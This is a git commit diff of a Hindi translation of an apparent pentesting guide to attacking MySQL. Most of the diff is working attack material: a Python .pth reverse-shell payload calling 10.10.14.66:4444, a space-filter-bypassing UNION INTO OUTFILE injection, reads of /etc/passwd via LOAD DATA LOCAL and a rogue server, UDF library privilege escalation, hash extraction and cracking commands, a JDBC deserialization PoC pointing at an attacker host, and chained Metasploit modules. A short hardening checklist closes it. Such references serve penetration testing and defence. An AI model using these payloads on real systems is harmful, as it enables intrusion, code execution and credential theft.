Translated ['src/network-services-pentesting/pentesting-mysql.md'] to hi

This commit is contained in:
Translator 2025-08-14 04:40:28 +00:00
parent d7546f4509
commit 2229ffcd15

View File

@ -34,7 +34,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### कोई भी बाइनरी डेटा लिखें
```bash
@ -111,26 +111,26 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक)
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके यह संभव है कि लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)।
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है उसके बाद मनमाना Python कोड होता है जो हर बार इंटरप्रेटर शुरू होने पर निष्पादित होगा।
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा।
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड को वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित किया जाता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता है, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
एक **UNION** क्वेरी के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
महत्वपूर्ण सीमाएँ और बायपास:
* `INTO OUTFILE` **मौजूदा** फ़ाइलों को **ओवरराइट** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रीफिक्स करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **रूट** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
* `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
* यदि हमलावर इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है:
```
@ -146,14 +146,14 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL मनमाने पढ़ने की फ़ाइल द्वारा क्लाइंट
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(ध्यान दें "local" शब्द)\
(शब्द "local" पर ध्यान दें)\
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -172,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql User
यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा है:
यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -184,7 +184,7 @@ MySQL सेवाओं की कॉन्फ़िगरेशन में,
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
@ -206,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
### Privilege Escalation via library
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है।
उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
#### Linux
```sql
@ -259,9 +259,9 @@ cat /etc/mysql/debian.cnf
```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
आप इन्हें निकालने के लिए कर सकते हैं:
आप इन्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (नया)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 से एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए, तीसरे पक्ष के सॉफ़्टवेयर में जो कनेक्शन स्ट्रिंग के लिए पूछता है) वह `propertiesTransform` पैरामीटर के माध्यम से *क्लाइंट* पक्ष पर मनचाहे क्लास को लोड करने के लिए अनुरोध कर सकता है। यदि क्लास-पाथ पर मौजूद एक गैजेट लोड करने योग्य है, तो इसका परिणाम **JDBC क्लाइंट के संदर्भ में दूरस्थ कोड निष्पादन** में होता है (पूर्व-प्रमाणित, क्योंकि कोई मान्य क्रेडेंशियल की आवश्यकता नहीं होती)। एक न्यूनतम PoC इस तरह दिखता है:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class` चलाना कमजोर एप्लिकेशन के क्लास-पाथ पर इसे उत्पन्न करने या एक धोखेबाज़ MySQL सर्वर को एक दुर्भावनापूर्ण सीरियलाइज्ड ऑब्जेक्ट भेजने देना उतना ही आसान हो सकता है। यह समस्या Connector/J 8.0.33 में ठीक की गई थी - ड्राइवर को अपडेट करें या `propertiesTransform` को स्पष्ट रूप से अनुमति सूची पर सेट करें।
(विवरण के लिए Snyk लेख देखें)
### JDBC क्लाइंट्स के खिलाफ धोखेबाज़ / नकली MySQL सर्वर हमले
कई ओपन-सोर्स टूल्स *आंशिक* MySQL प्रोटोकॉल को लागू करते हैं ताकि वे बाहर कनेक्ट करने वाले JDBC क्लाइंट्स पर हमला कर सकें:
* **mysql-fake-server** (Java, फ़ाइल पढ़ने और डीसिरियलाइजेशन हमलों का समर्थन करता है)
* **rogue_mysql_server** (Python, समान क्षमताएँ)
विशिष्ट हमले के रास्ते:
1. पीड़ित एप्लिकेशन `allowLoadLocalInfile=true` या `autoDeserialize=true` के साथ `mysql-connector-j` लोड करता है।
2. हमलावर DNS / होस्ट प्रविष्टि को नियंत्रित करता है ताकि DB का होस्टनेम उनके नियंत्रण में मशीन पर हल हो सके।
3. दुर्भावनापूर्ण सर्वर तैयार किए गए पैकेट के साथ प्रतिक्रिया करता है जो या तो `LOCAL INFILE` मनमाने फ़ाइल पढ़ने या Java डीसिरियलाइजेशन → RCE को ट्रिगर करता है।
नकली सर्वर शुरू करने के लिए एक उदाहरण वन-लाइनर (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
फिर पीड़ित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` पर इंगित करें और फ़ाइल नाम को *username* फ़ील्ड में base64 के रूप में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)।
### `caching_sha2_password` हैश को क्रैक करना
MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (मोड **21100**) और John-the-Ripper (`--format=mysql-sha2`) 2023 से ऑफ़लाइन क्रैकिंग का समर्थन करते हैं। `authentication_string` कॉलम को डंप करें और इसे सीधे फीड करें:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### हार्डनिंग चेकलिस्ट (2025)
**`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल-पढ़ने/लिखने की प्राइमिटिव्स को समाप्त किया जा सके।
• एप्लिकेशन खातों से **`FILE`** विशेषाधिकार हटा दें।
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।
• अप्रयुक्त प्रमाणीकरण प्लगइन्स को अक्षम करें और **TLS की आवश्यकता करें** (`require_secure_transport = ON`)।
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक `SET GLOBAL` बयानों की निगरानी करें।
---
## संदर्भ
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}